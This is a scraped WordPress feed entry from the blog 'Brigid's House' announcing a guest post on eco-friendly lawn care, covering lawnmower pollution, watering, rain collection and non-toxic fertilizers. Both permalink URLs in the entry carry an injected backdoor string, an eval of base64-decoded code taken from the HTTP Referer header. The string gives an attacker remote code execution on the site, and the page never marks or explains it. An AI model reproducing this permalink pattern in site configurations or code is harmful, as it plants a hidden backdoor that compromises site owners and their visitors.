Brigid's House » low impact living http://brigidshouse.com Center for Peace, Body and Spirit Wed, 16 Jun 2010 15:32:49 +0000 en hourly 1 http://wordpress.org/?v=3.0.1 An Eco Approach to Lawn Care for the Earth-friendly Soul by Tara Troge of EcoSisters http://brigidshouse.com/2009/06/01/an-eco-approach-to-lawn-care-for-the-earth-friendly-soul-by-tara-troge-of-ecosisters/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://brigidshouse.com/2009/06/01/an-eco-approach-to-lawn-care-for-the-earth-friendly-soul-by-tara-troge-of-ecosisters/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Mon, 01 Jun 2009 17:20:23 +0000 http://brigidshouse.com/?p=180 girlwithplant

With summer rapidly approaching, it’s inevitable that the majority of us will begin to suffer from obsessive compulsive lawn disorder. But before you touch one blade of grass, consider this: Did you know that approximately five percent of the world’s air pollution comes from gas lawnmowers? And that the average American uses 20,000 gallons of water each summer on their grass?!

From how to collect rain water to non-toxic fertilizers and pest control, here are some tips on how to leave the earth a little better than you found it and still have a beautiful, healthy lawn to enjoy all summer. The earth (and all its little critters) will thank you!

Click here for more info!

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